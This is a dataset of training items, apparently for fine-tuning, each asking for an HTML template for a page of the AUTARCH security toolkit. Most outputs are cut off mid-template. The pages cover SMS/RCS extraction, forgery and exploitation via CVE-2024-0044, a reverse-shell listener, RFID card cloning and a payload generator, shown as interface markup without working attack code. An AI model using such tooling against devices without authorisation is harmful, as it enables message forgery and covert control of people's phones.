{"instruction": "Create an AUTARCH web template for the 'Rcs Tools' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: rcs_tools.html\nSections: 29\nTabs: 6\nForms/API calls: 3\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}AUTARCH — RCS/SMS Exploit{% endblock %}\n\n{% block content %}\n<div class=\"page-header\">\n <h1>RCS/SMS Exploitation</h1>\n <p style=\"margin:0;font-size:0.85rem;color:var(--text-secondary)\">\n Extract, forge, modify, backup, and exploit SMS/RCS messages on connected Android devices.\n Uses content providers (no root), Archon relay, CVE-2024-0044, and bugle_db direct access.\n </p>\n</div>\n\n<!-- Device Status Banner -->\n<div id=\"rcs-device-banner\" class=\"section\" style=\"padding:10px 16px;margin-bottom:16px;display:flex;align-items:center;gap:12px;flex-wrap:wrap\">\n <span id=\"rcs-dev-indicator\" style=\"width:10px;height:10px;border-radius:50%;background:#555;display:inline-block\"></span>\n <span id=\"rcs-dev-label\" style=\"font-size:0.85rem;color:var(--text-secondary)\">Checking device...</span>\n <span id=\"rcs-shizuku-badge\" style=\"font-size:0.75rem;padding:2px 8px;border-radius:4px;background:#333;color:#888\">Shizuku: --</span>\n <span id=\"rcs-archon-badge\" style=\"font-size:0.75rem;padding:2px 8px;border-radius:4px;background:#333;color:#888\">Archon: --</span>\n <span id=\"rcs-cve-badge\" style=\"font-size:0.75rem;padding:2px 8px;border-radius:4px;background:#333;color:#888\">CVE: --</span>\n <span id=\"rcs-sms-app\" style=\"font-size:0.75rem;color:var(--text-muted)\">SMS App: --</span>\n <button class=\"btn btn-small\" onclick=\"rcsRefreshStatus()\" style=\"margin-left:auto\">Refresh</button>\n</div>\n\n<!-- Tab Bar -->\n<div class=\"tab-bar\">\n <button class=\"tab active\" data-tab-group=\"rcs\" data-tab=\"extract\" onclick=\"showTab('rcs','extract')\">Extract</button>\n <button class=\"tab\" data-tab-group=\"rcs\" data-tab=\"database\" onclick=\"showTab('rcs','database')\">Database</button>\n <button class=\"tab\" data-tab-group=\"rcs\" data-tab=\"forge\" onclick=\"showTab('rcs','forge')\">Forge</button>\n <button class=\"tab\" data-tab-group=\"rcs\" data-tab=\"modify\" onclick=\"showTab('rcs','modify')\">Modify</button>\n <button class=\"tab\" data-tab-group=\"rcs\" data-tab=\"exploit\" onclick=\"showTab('rcs','exploit')\">Exploit</button>\n <button class=\"tab\" data-tab-group=\"rcs\" data-tab=\"backup\" onclick=\"showTab('rcs','backup')\">Backup</button>\n <button class=\"tab\" data-tab-group=\"rcs\" data-tab=\"monitor\" onclick=\"showTab('rcs','monitor')\">Monitor</button>\n</div>\n\n<!-- ========================== EXTRACT TAB ========================== -->\n<div class=\"tab-content active\" data-tab-group=\"rcs\" data-tab=\"extract\">\n\n<div class=\"section\">\n <h3>SMS Messages</h3>\n <div style=\"display:flex;gap:8px;flex-wrap:wrap;margin-bottom:12px\">\n <input id=\"rcs-search-addr\" type=\"text\" placeholder=\"Filter by address\" style=\"flex:1;min-width:150px\">\n <input id=\"rcs-search-kw\" type=\"text\" placeholder=\"Search keyword\" style=\"flex:1;min-width:150px\">\n <input id=\"rcs-search-thread\" type=\"text\" placeholder=\"Thread ID\" style=\"width:90px\">\n <select id=\"rcs-msg-filter\" style=\"width:120px\">\n <option value=\"all\">All</option>\n <option value=\"inbox\">Inbox</option>\n <option value=\"sent\">Sent</option>\n <option value=\"drafts\">Drafts</option>\n <option value=\"undelivered\">Undelivered</option>\n </select>\n <button class=\"btn\" onclick=\"rcsExtractMessages()\">Extract</button>\n <button class=\"btn btn-secondary\" onclick=\"rcsExportMessages('json')\">Export JSON</button>\n <button class=\"btn btn-secondary\" onclick=\"rcsExportMessages('csv')\">Export CSV</button>\n <button class=\"btn btn-s
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Report Engine' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: report_engine.html\nSections: 0\nTabs: 2\nForms/API calls: 10\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}Reports — AUTARCH{% endblock %}\n{% block content %}\n<div class=\"page-header\">\n <h1>Reporting Engine</h1>\n <p class=\"text-muted\">Pentest report builder with findings, CVSS scoring, and export</p>\n</div>\n\n<div class=\"tabs\">\n <button class=\"tab active\" onclick=\"switchTab('reports')\">Reports</button>\n <button class=\"tab\" onclick=\"switchTab('editor')\">Editor</button>\n <button class=\"tab\" onclick=\"switchTab('templates')\">Finding Templates</button>\n</div>\n\n<!-- Reports List -->\n<div id=\"tab-reports\" class=\"tab-content active\">\n <div style=\"display:flex;justify-content:space-between;align-items:center;margin-bottom:1rem\">\n <h3>Reports</h3>\n <button class=\"btn btn-primary\" onclick=\"showCreateReport()\">New Report</button>\n </div>\n <div id=\"create-form\" class=\"card\" style=\"display:none;margin-bottom:1rem;max-width:600px\">\n <h4>Create Report</h4>\n <div class=\"form-group\"><label>Title</label><input type=\"text\" id=\"cr-title\" class=\"form-control\" placeholder=\"Penetration Test Report\"></div>\n <div class=\"form-group\"><label>Client</label><input type=\"text\" id=\"cr-client\" class=\"form-control\" placeholder=\"Client name\"></div>\n <div class=\"form-group\"><label>Scope</label><textarea id=\"cr-scope\" class=\"form-control\" rows=\"2\" placeholder=\"Target systems and IP ranges\"></textarea></div>\n <button class=\"btn btn-primary\" onclick=\"createReport()\">Create</button>\n </div>\n <div id=\"reports-list\"></div>\n</div>\n\n<!-- Editor -->\n<div id=\"tab-editor\" class=\"tab-content\" style=\"display:none\">\n <div id=\"editor-empty\" class=\"card\" style=\"text-align:center;color:var(--text-muted)\">Select a report from the Reports tab</div>\n <div id=\"editor\" style=\"display:none\">\n <div class=\"card\">\n <div style=\"display:flex;justify-content:space-between;align-items:center\">\n <h3 id=\"ed-title\" style=\"margin:0\"></h3>\n <div style=\"display:flex;gap:0.5rem\">\n <select id=\"ed-status\" class=\"form-control\" style=\"width:auto\" onchange=\"updateReportField('status',this.value)\">\n <option value=\"draft\">Draft</option>\n <option value=\"review\">Review</option>\n <option value=\"final\">Final</option>\n </select>\n <button class=\"btn btn-sm\" onclick=\"exportReport('html')\">Export HTML</button>\n <button class=\"btn btn-sm\" onclick=\"exportReport('markdown')\">Export MD</button>\n <button class=\"btn btn-sm\" onclick=\"exportReport('json')\">Export JSON</button>\n </div>\n </div>\n <div class=\"form-group\" style=\"margin-top:1rem\"><label>Executive Summary</label>\n <textarea id=\"ed-summary\" class=\"form-control\" rows=\"3\" onblur=\"updateReportField('executive_summary',this.value)\"></textarea></div>\n </div>\n\n <!-- Severity Summary -->\n <div id=\"sev-summary\" style=\"display:flex;gap:0.75rem;margin:1rem 0\"></div>\n\n <!-- Findings -->\n <div style=\"display:flex;justify-content:space-between;align-items:center;margin:1rem 0\">\n <h3>Findings</h3>\n <div style=\"display:flex;gap:0.5rem\">\n <button class=\"btn btn-primary btn-sm\" onclick=\"showAddFinding()\">Add Finding</button>\n <button class=\"btn btn-sm\" onclick=\"showTemplateSelector()\">From Template</button>\n </div>\n </div>\n <div id=\"finding
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Reverse Eng' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: reverse_eng.html\nSections: 16\nTabs: 3\nForms/API calls: 0\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}AUTARCH — Reverse Engineering{% endblock %}\n\n{% block content %}\n<div class=\"page-header\">\n <h1>Reverse Engineering</h1>\n <p style=\"margin:0;font-size:0.85rem;color:var(--text-secondary)\">\n Binary analysis, disassembly, YARA scanning, hex viewing, and packer detection.\n </p>\n</div>\n\n<!-- Tab Bar -->\n<div class=\"tab-bar\">\n <button class=\"tab active\" data-tab-group=\"re\" data-tab=\"analyze\" onclick=\"showTab('re','analyze')\">Analyze</button>\n <button class=\"tab\" data-tab-group=\"re\" data-tab=\"disasm\" onclick=\"showTab('re','disasm')\">Disasm</button>\n <button class=\"tab\" data-tab-group=\"re\" data-tab=\"yara\" onclick=\"showTab('re','yara')\">YARA</button>\n <button class=\"tab\" data-tab-group=\"re\" data-tab=\"hex\" onclick=\"showTab('re','hex')\">Hex View</button>\n</div>\n\n<!-- ==================== ANALYZE TAB ==================== -->\n<div class=\"tab-content active\" data-tab-group=\"re\" data-tab=\"analyze\">\n\n<div class=\"section\">\n <h2>Binary Analysis</h2>\n <p style=\"font-size:0.8rem;color:var(--text-muted);margin-bottom:12px\">\n Comprehensive file analysis: type detection, hashes, entropy, strings, imports, exports, and packer detection.\n </p>\n <div class=\"form-row\">\n <div class=\"form-group\" style=\"flex:1\">\n <label>File Path</label>\n <input type=\"text\" id=\"analyze-file\" placeholder=\"/path/to/binary.exe\">\n </div>\n <div class=\"form-group\" style=\"max-width:160px;align-self:flex-end\">\n <button id=\"btn-analyze\" class=\"btn btn-primary\" onclick=\"reAnalyze()\">Analyze</button>\n </div>\n </div>\n</div>\n\n<!-- Analysis Results (hidden until analysis runs) -->\n<div id=\"analyze-results\" style=\"display:none\">\n\n <!-- File Info Card -->\n <div class=\"section\">\n <h2>File Info</h2>\n <table class=\"data-table\" id=\"analyze-info-table\">\n <tbody>\n <tr><td style=\"width:140px\">Name</td><td id=\"a-name\" style=\"font-weight:600\"></td></tr>\n <tr><td>Type</td><td id=\"a-type\"></td></tr>\n <tr><td>Architecture</td><td id=\"a-arch\"></td></tr>\n <tr><td>Size</td><td id=\"a-size\"></td></tr>\n <tr><td>Modified</td><td id=\"a-modified\"></td></tr>\n <tr><td>MD5</td><td id=\"a-md5\" style=\"font-family:monospace;font-size:0.85rem\"></td></tr>\n <tr><td>SHA1</td><td id=\"a-sha1\" style=\"font-family:monospace;font-size:0.85rem\"></td></tr>\n <tr><td>SHA256</td><td id=\"a-sha256\" style=\"font-family:monospace;font-size:0.85rem;word-break:break-all\"></td></tr>\n </tbody>\n </table>\n </div>\n\n <!-- Entropy -->\n <div class=\"section\">\n <h2>Entropy</h2>\n <div style=\"display:flex;align-items:center;gap:16px;margin-bottom:12px\">\n <span style=\"font-size:1.2rem;font-weight:600\" id=\"a-entropy-value\"></span>\n <div style=\"flex:1;height:20px;background:var(--bg-input);border-radius:4px;overflow:hidden\">\n <div id=\"a-entropy-bar\" style=\"height:100%;border-radius:4px;transition:width 0.4s\"></div>\n </div>\n <span id=\"a-entropy-label\" style=\"font-size:0.8rem;font-weight:600;padding:2px 8px;border-radius:4px\"></span>\n </div>\n <table class=\"data-table\" id=\"a-sections-table\" style=\"display:none\">\n <thead>\n <tr><th>Section</th><th>Raw Size</th><th>Entropy</th><th style=\"width:40%\">Bar</th><th>Status</th></tr>\n </thead>\n <tbody id=\"a-sections-b
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Revshell' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: revshell.html\nSections: 0\nTabs: 0\nForms/API calls: 2\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}Reverse Shell — AUTARCH{% endblock %}\n\n{% block content %}\n<div class=\"page-header\">\n <h1>Reverse Shell</h1>\n <p>Remote device shell via Archon Companion App</p>\n</div>\n\n<!-- Listener Control -->\n<div class=\"card\">\n <div class=\"card-header\">\n <h3>Listener</h3>\n <span id=\"listenerStatus\" class=\"status-badge {% if running %}status-good{% else %}status-bad{% endif %}\">\n {{ 'Running' if running else 'Stopped' }}\n </span>\n </div>\n <div class=\"card-body\">\n <div class=\"form-row\">\n <div class=\"form-group\">\n <label>Port</label>\n <input type=\"number\" id=\"listenerPort\" value=\"{{ port }}\" class=\"form-input\" style=\"width:100px\">\n </div>\n <div class=\"form-group\">\n <label>Token</label>\n <input type=\"text\" id=\"listenerToken\" value=\"{{ token }}\" class=\"form-input\" style=\"width:300px\" readonly>\n </div>\n <div class=\"form-group\" style=\"padding-top:24px\">\n <button onclick=\"rsListenerStart()\" class=\"btn btn-primary\" id=\"btnStart\">Start</button>\n <button onclick=\"rsListenerStop()\" class=\"btn btn-danger\" id=\"btnStop\">Stop</button>\n <button onclick=\"rsRefreshSessions()\" class=\"btn btn-secondary\">Refresh</button>\n </div>\n </div>\n <p class=\"help-text\">\n On the Archon app: Modules tab → Reverse Shell → CONNECT.<br>\n The device will connect back to this listener on port <strong id=\"portDisplay\">{{ port }}</strong>.\n </p>\n </div>\n</div>\n\n<!-- Sessions -->\n<div class=\"card\">\n <div class=\"card-header\">\n <h3>Sessions</h3>\n <span id=\"sessionCount\" class=\"status-badge\">{{ sessions|length }}</span>\n </div>\n <div class=\"card-body\">\n <div id=\"sessionList\">\n {% if sessions %}\n {% for s in sessions %}\n <div class=\"session-card\" data-sid=\"{{ s.session_id }}\">\n <div class=\"session-info\">\n <strong>{{ s.device }}</strong>\n <span class=\"dim\">Android {{ s.android }} | UID {{ s.uid }}</span>\n <span class=\"dim\">Connected {{ s.connected_at }} | {{ s.commands_executed }} cmds</span>\n </div>\n <div class=\"session-actions\">\n <button onclick=\"rsSelectSession('{{ s.session_id }}')\" class=\"btn btn-primary btn-sm\">Select</button>\n <button onclick=\"rsDisconnect('{{ s.session_id }}')\" class=\"btn btn-danger btn-sm\">Disconnect</button>\n </div>\n </div>\n {% endfor %}\n {% else %}\n <p class=\"dim\">No active sessions. Start the listener and connect from the Archon app.</p>\n {% endif %}\n </div>\n </div>\n</div>\n\n<!-- Terminal -->\n<div class=\"card\" id=\"terminalCard\" style=\"display:none\">\n <div class=\"card-header\">\n <h3>Terminal — <span id=\"termDevice\">?</span></h3>\n <div>\n <button onclick=\"rsSysinfo()\" class=\"btn btn-secondary btn-sm\">SysInfo</button>\n <button onclick=\"rsScreenshot()\" class=\"btn btn-secondary btn-sm\">Screenshot</button>\n <button onclick=\"rsPackages()\" class=\"btn btn-secondary btn-sm\">Packages</button>\n <button onclick=\"rsProcesses()\" class=\"btn btn-secondary btn-sm\">Processes</button>\n <button onclick=\"rsNetstat()\" class=\"btn btn-sec
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Rfid Tools' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: rfid_tools.html\nSections: 7\nTabs: 2\nForms/API calls: 0\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}AUTARCH — RFID/NFC Tools{% endblock %}\n\n{% block content %}\n<div class=\"page-header\">\n <h1>RFID/NFC Tools</h1>\n <p style=\"margin:0;font-size:0.85rem;color:var(--text-secondary)\">\n Proxmark3 interface for RFID/NFC scanning, cloning, and card management.\n </p>\n</div>\n\n<!-- Tab Bar -->\n<div class=\"tab-bar\">\n <button class=\"tab active\" data-tab-group=\"rfid\" data-tab=\"scan\" onclick=\"showTab('rfid','scan')\">Scan</button>\n <button class=\"tab\" data-tab-group=\"rfid\" data-tab=\"clone\" onclick=\"showTab('rfid','clone')\">Clone</button>\n <button class=\"tab\" data-tab-group=\"rfid\" data-tab=\"cards\" onclick=\"showTab('rfid','cards')\">Cards</button>\n</div>\n\n<!-- ==================== SCAN TAB ==================== -->\n<div class=\"tab-content active\" data-tab-group=\"rfid\" data-tab=\"scan\">\n\n<div class=\"section\">\n <h2>Tools Status</h2>\n <div class=\"stats-grid\" style=\"grid-template-columns:repeat(auto-fit,minmax(140px,1fr))\">\n <div class=\"stat-card\">\n <div class=\"stat-label\">Proxmark3</div>\n <div class=\"stat-value small\">\n <span class=\"status-dot\" id=\"rfid-pm3-dot\"></span>\n <span id=\"rfid-pm3-status\">Checking...</span>\n </div>\n </div>\n <div class=\"stat-card\">\n <div class=\"stat-label\">libnfc</div>\n <div class=\"stat-value small\">\n <span class=\"status-dot\" id=\"rfid-libnfc-dot\"></span>\n <span id=\"rfid-libnfc-status\">Checking...</span>\n </div>\n </div>\n </div>\n</div>\n\n<div class=\"section\">\n <h2>Scan for Cards</h2>\n <div class=\"tool-actions\" style=\"margin-bottom:12px\">\n <button id=\"btn-lf-search\" class=\"btn btn-primary\" onclick=\"rfidLFSearch()\">LF Search (125kHz)</button>\n <button id=\"btn-hf-search\" class=\"btn btn-primary\" onclick=\"rfidHFSearch()\">HF Search (13.56MHz)</button>\n <button id=\"btn-nfc-scan\" class=\"btn btn-primary\" onclick=\"rfidNFCScan()\">NFC Scan</button>\n </div>\n <pre class=\"output-panel scrollable\" id=\"rfid-scan-output\" style=\"max-height:250px\"></pre>\n</div>\n\n<div class=\"section\">\n <h2>Last Read Card</h2>\n <table class=\"data-table\" style=\"max-width:500px\">\n <tbody>\n <tr><td>Type</td><td id=\"rfid-last-type\">--</td></tr>\n <tr><td>ID / UID</td><td id=\"rfid-last-id\" style=\"font-family:monospace\">--</td></tr>\n <tr><td>Frequency</td><td id=\"rfid-last-freq\">--</td></tr>\n <tr><td>Technology</td><td id=\"rfid-last-tech\">--</td></tr>\n </tbody>\n </table>\n</div>\n\n</div>\n\n<!-- ==================== CLONE TAB ==================== -->\n<div class=\"tab-content\" data-tab-group=\"rfid\" data-tab=\"clone\">\n\n<div class=\"section\">\n <h2>EM410x Clone</h2>\n <p style=\"font-size:0.8rem;color:var(--text-muted);margin-bottom:8px\">\n Clone an EM410x LF card by writing a known card ID to a T55x7 blank.\n </p>\n <div class=\"input-row\">\n <input type=\"text\" id=\"rfid-em-id\" placeholder=\"Card ID (hex, e.g. 0102030405)\" maxlength=\"10\">\n <button id=\"btn-em-clone\" class=\"btn btn-primary\" onclick=\"rfidEMClone()\">Clone EM410x</button>\n </div>\n <pre class=\"output-panel\" id=\"rfid-em-output\" style=\"min-height:0\"></pre>\n</div>\n\n<div class=\"section\">\n <h2>MIFARE Classic</h2>\n <div class=\"tool-actions\" style=\"margin-bottom:12px\">\n <button id=\"btn-mf-dump\" class=\"btn btn-primary\" onclick=\"rfidMFDump()\">Dump MIFARE Card</button>\n </div>\n <pre class=
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Sdr Tools' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: sdr_tools.html\nSections: 15\nTabs: 3\nForms/API calls: 2\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}AUTARCH — SDR/RF Tools{% endblock %}\n\n{% block content %}\n<div class=\"page-header\">\n <h1>SDR / RF Tools</h1>\n <p style=\"margin:0;font-size:0.85rem;color:var(--text-secondary)\">\n Spectrum analysis, signal capture & replay, ADS-B tracking, and GPS spoofing detection.\n </p>\n</div>\n\n<!-- Tab Bar -->\n<div class=\"tab-bar\">\n <button class=\"tab active\" data-tab-group=\"sdr\" data-tab=\"spectrum\" onclick=\"showTab('sdr','spectrum')\">Spectrum</button>\n <button class=\"tab\" data-tab-group=\"sdr\" data-tab=\"capture\" onclick=\"showTab('sdr','capture')\">Capture / Replay</button>\n <button class=\"tab\" data-tab-group=\"sdr\" data-tab=\"adsb\" onclick=\"showTab('sdr','adsb')\">ADS-B</button>\n <button class=\"tab\" data-tab-group=\"sdr\" data-tab=\"drone\" onclick=\"showTab('sdr','drone')\">Drone Detection</button>\n</div>\n\n<!-- ==================== SPECTRUM TAB ==================== -->\n<div class=\"tab-content active\" data-tab-group=\"sdr\" data-tab=\"spectrum\">\n\n<!-- Device Detection -->\n<div class=\"section\">\n <h2>SDR Devices</h2>\n <button id=\"btn-sdr-detect\" class=\"btn btn-primary\" onclick=\"sdrDetectDevices()\">Detect Devices</button>\n <div id=\"sdr-device-list\" style=\"margin-top:12px\"></div>\n</div>\n\n<!-- Spectrum Scan -->\n<div class=\"section\">\n <h2>Spectrum Scan</h2>\n <div class=\"form-grid\" style=\"display:grid;grid-template-columns:repeat(auto-fit,minmax(160px,1fr));gap:10px;max-width:800px\">\n <div class=\"form-group\">\n <label>Device</label>\n <select id=\"sdr-scan-device\" class=\"form-control\">\n <option value=\"rtl\">RTL-SDR</option>\n <option value=\"hackrf\">HackRF</option>\n </select>\n </div>\n <div class=\"form-group\">\n <label>Start Freq (MHz)</label>\n <input type=\"number\" id=\"sdr-scan-start\" class=\"form-control\" value=\"88\" step=\"0.001\" min=\"0.1\" max=\"6000\">\n </div>\n <div class=\"form-group\">\n <label>End Freq (MHz)</label>\n <input type=\"number\" id=\"sdr-scan-end\" class=\"form-control\" value=\"108\" step=\"0.001\" min=\"0.1\" max=\"6000\">\n </div>\n <div class=\"form-group\">\n <label>Gain (dB)</label>\n <input type=\"number\" id=\"sdr-scan-gain\" class=\"form-control\" placeholder=\"auto\" min=\"0\" max=\"62\">\n </div>\n <div class=\"form-group\">\n <label>Duration (s)</label>\n <input type=\"number\" id=\"sdr-scan-duration\" class=\"form-control\" value=\"5\" min=\"1\" max=\"120\">\n </div>\n </div>\n <div style=\"margin-top:12px\">\n <button id=\"btn-sdr-scan\" class=\"btn btn-primary\" onclick=\"sdrScanSpectrum()\">Scan Spectrum</button>\n </div>\n <div id=\"sdr-scan-status\" style=\"margin-top:8px;font-size:0.85rem;color:var(--text-secondary)\"></div>\n</div>\n\n<!-- Spectrum Visualization -->\n<div class=\"section\" id=\"sdr-spectrum-section\" style=\"display:none\">\n <h2>Spectrum View</h2>\n <div style=\"position:relative;width:100%;overflow-x:auto\">\n <canvas id=\"sdr-spectrum-canvas\" width=\"900\" height=\"320\" style=\"width:100%;max-width:900px;background:var(--bg-card);border:1px solid var(--border);border-radius:var(--radius)\"></canvas>\n </div>\n <div id=\"sdr-scan-info\" style=\"margin-top:6px;font-size:0.8rem;color:var(--text-muted)\"></div>\n</div>\n\n<!-- Common Frequencies Reference -->\n<div class=\"section\">\n <h2 style=\"cursor:pointer\" onclick=\"sdrToggleFreqs()\">\n Common Frequencies Reference\n <span id=\"sdr-freq-a
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Settings' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: settings.html\nSections: 6\nTabs: 0\nForms/API calls: 5\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}Settings - AUTARCH{% endblock %}\n\n{% block content %}\n<div class=\"page-header\">\n <h1>Settings</h1>\n</div>\n\n<div class=\"section\">\n <h2>Change Password</h2>\n <form method=\"POST\" action=\"{{ url_for('settings.change_password') }}\" class=\"settings-form\">\n <div class=\"form-group\">\n <label for=\"new_password\">New Password</label>\n <input type=\"password\" id=\"new_password\" name=\"new_password\" required>\n </div>\n <div class=\"form-group\">\n <label for=\"confirm_password\">Confirm Password</label>\n <input type=\"password\" id=\"confirm_password\" name=\"confirm_password\" required>\n </div>\n <button type=\"submit\" class=\"btn btn-primary\">Update Password</button>\n </form>\n</div>\n\n<div class=\"section\">\n <h2>OSINT Settings</h2>\n <form method=\"POST\" action=\"{{ url_for('settings.update_osint') }}\" class=\"settings-form\">\n <div class=\"form-group\">\n <label for=\"max_threads\">Max Threads</label>\n <input type=\"number\" id=\"max_threads\" name=\"max_threads\" value=\"{{ osint.max_threads }}\" min=\"1\" max=\"64\">\n </div>\n <div class=\"form-group\">\n <label for=\"timeout\">Timeout (seconds)</label>\n <input type=\"number\" id=\"timeout\" name=\"timeout\" value=\"{{ osint.timeout }}\" min=\"1\" max=\"60\">\n </div>\n <div class=\"form-group\">\n <label class=\"checkbox-label\">\n <input type=\"checkbox\" name=\"include_nsfw\" {{ 'checked' if osint.include_nsfw }}>\n Include NSFW sites\n </label>\n </div>\n <button type=\"submit\" class=\"btn btn-primary\">Save OSINT Settings</button>\n </form>\n</div>\n\n<div class=\"section\">\n <h2>UPnP Settings</h2>\n <form method=\"POST\" action=\"{{ url_for('settings.update_upnp') }}\" class=\"settings-form\">\n <div class=\"form-group\">\n <label class=\"checkbox-label\">\n <input type=\"checkbox\" name=\"enabled\" {{ 'checked' if upnp.enabled }}>\n Enabled\n </label>\n </div>\n <div class=\"form-group\">\n <label for=\"internal_ip\">Internal IP</label>\n <input type=\"text\" id=\"internal_ip\" name=\"internal_ip\" value=\"{{ upnp.internal_ip }}\">\n </div>\n <div class=\"form-group\">\n <label for=\"refresh_hours\">Refresh Interval (hours)</label>\n <input type=\"number\" id=\"refresh_hours\" name=\"refresh_hours\" value=\"{{ upnp.refresh_hours }}\" min=\"1\" max=\"24\">\n </div>\n <div class=\"form-group\">\n <label for=\"mappings\">Port Mappings (port:proto, ...)</label>\n <input type=\"text\" id=\"mappings\" name=\"mappings\" value=\"{{ upnp.mappings }}\" placeholder=\"443:TCP,51820:UDP,8080:TCP\">\n </div>\n <button type=\"submit\" class=\"btn btn-primary\">Save UPnP Settings</button>\n </form>\n</div>\n\n<div class=\"section\">\n <h2>LLM Configuration</h2>\n <div style=\"display:flex;align-items:center;justify-content:space-between;flex-wrap:wrap;gap:0.75rem\">\n <div>\n <span style=\"font-size:0.85rem;color:var(--text-secondary)\">Active backend: </span>\n <span style=\"font-weight:600;color:var(--accent)\">{{ llm_backend }}</span>\n </div>\n <a href=\"{{ url_for('settings.llm_settings') }}\" class=\"btn btn-primary\">Open LLM Settings →</a>\n </div>\n <p style=\"font-size:0.82rem;color:var(--text-secondary);margin-top:0.6rem\">\n Configure local models (GGUF / SafeTensors), Cla
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Simulate' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: simulate.html\nSections: 5\nTabs: 0\nForms/API calls: 0\nHas JavaScript: False", "output": "{% extends \"base.html\" %}\n{% block title %}Attack Simulation - AUTARCH{% endblock %}\n\n{% block content %}\n<div class=\"page-header\">\n <h1>Attack Simulation</h1>\n</div>\n\n<!-- Password Audit -->\n<div class=\"section\">\n <h2>Password Audit</h2>\n <div class=\"input-row\">\n <input type=\"text\" id=\"sim-password\" placeholder=\"Enter password to test\" autocomplete=\"off\">\n <button id=\"btn-password\" class=\"btn btn-primary\" onclick=\"auditPassword()\">Analyze</button>\n </div>\n <div style=\"display:flex;gap:24px;align-items:flex-start;flex-wrap:wrap;margin-top:12px\">\n <div class=\"score-display\">\n <div class=\"score-value\" id=\"pw-score\">--</div>\n <div class=\"score-label\" id=\"pw-strength\">Score</div>\n </div>\n <div style=\"flex:1;min-width:250px\">\n <pre class=\"output-panel\" id=\"password-output\"></pre>\n </div>\n </div>\n</div>\n\n<!-- Port Scanner -->\n<div class=\"section\">\n <h2>Port Scanner</h2>\n <div class=\"input-row\">\n <input type=\"text\" id=\"scan-target\" placeholder=\"Target IP or hostname\">\n <input type=\"text\" id=\"scan-ports\" placeholder=\"Port range (e.g., 1-1024)\" value=\"1-1024\" style=\"max-width:180px\">\n <button id=\"btn-portscan\" class=\"btn btn-primary\" onclick=\"scanPorts()\">Scan</button>\n </div>\n <pre class=\"output-panel scrollable\" id=\"portscan-output\"></pre>\n</div>\n\n<!-- Banner Grabber -->\n<div class=\"section\">\n <h2>Banner Grabber</h2>\n <div class=\"input-row\">\n <input type=\"text\" id=\"banner-target\" placeholder=\"Target IP or hostname\">\n <input type=\"number\" id=\"banner-port\" placeholder=\"Port\" value=\"80\" style=\"max-width:100px\">\n <button id=\"btn-banner\" class=\"btn btn-primary\" onclick=\"grabBanner()\">Grab</button>\n </div>\n <pre class=\"output-panel scrollable\" id=\"banner-output\"></pre>\n</div>\n\n<!-- Payload Generator -->\n<div class=\"section\">\n <h2>Payload Generator</h2>\n <p style=\"font-size:0.8rem;color:var(--text-muted);margin-bottom:8px\">Generate test payloads for security testing</p>\n <div class=\"input-row\">\n <select id=\"payload-type\">\n <option value=\"xss\">XSS</option>\n <option value=\"sqli\">SQL Injection</option>\n <option value=\"cmdi\">Command Injection</option>\n <option value=\"traversal\">Path Traversal</option>\n <option value=\"ssti\">SSTI</option>\n </select>\n <button id=\"btn-payloads\" class=\"btn btn-primary\" onclick=\"generatePayloads()\">Generate</button>\n </div>\n <div id=\"payload-list\"></div>\n</div>\n\n{% if modules %}\n<div class=\"section\">\n <h2>Simulate Modules</h2>\n <ul class=\"module-list\">\n {% for name, info in modules.items() %}\n <li class=\"module-item\">\n <div>\n <div class=\"module-name\">{{ name }}</div>\n <div class=\"module-desc\">{{ info.description }}</div>\n </div>\n <div class=\"module-meta\">v{{ info.version }}</div>\n </li>\n {% endfor %}\n </ul>\n</div>\n{% endif %}\n{% endblock %}\n", "type": "template_creation", "source_file": "web/templates/simulate.html"}
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Sms Forge' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: sms_forge.html\nSections: 11\nTabs: 3\nForms/API calls: 3\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}AUTARCH — SMS Forge{% endblock %}\n\n{% block content %}\n<div class=\"page-header\">\n <h1>SMS/MMS Backup Forge</h1>\n <p style=\"margin:0;font-size:0.85rem;color:var(--text-secondary)\">\n Create and modify SMS/MMS backup XML files (SMS Backup & Restore format).\n </p>\n</div>\n\n<!-- Tab Bar -->\n<div class=\"tab-bar\">\n <button class=\"tab active\" data-tab-group=\"forge\" data-tab=\"messages\" onclick=\"showTab('forge','messages')\">Messages <span id=\"msg-badge\" class=\"badge\" style=\"display:none\">0</span></button>\n <button class=\"tab\" data-tab-group=\"forge\" data-tab=\"conversations\" onclick=\"showTab('forge','conversations')\">Conversations</button>\n <button class=\"tab\" data-tab-group=\"forge\" data-tab=\"importexport\" onclick=\"showTab('forge','importexport')\">Import / Export</button>\n <button class=\"tab\" data-tab-group=\"forge\" data-tab=\"templates\" onclick=\"showTab('forge','templates')\">Templates</button>\n</div>\n\n<!-- ==================== 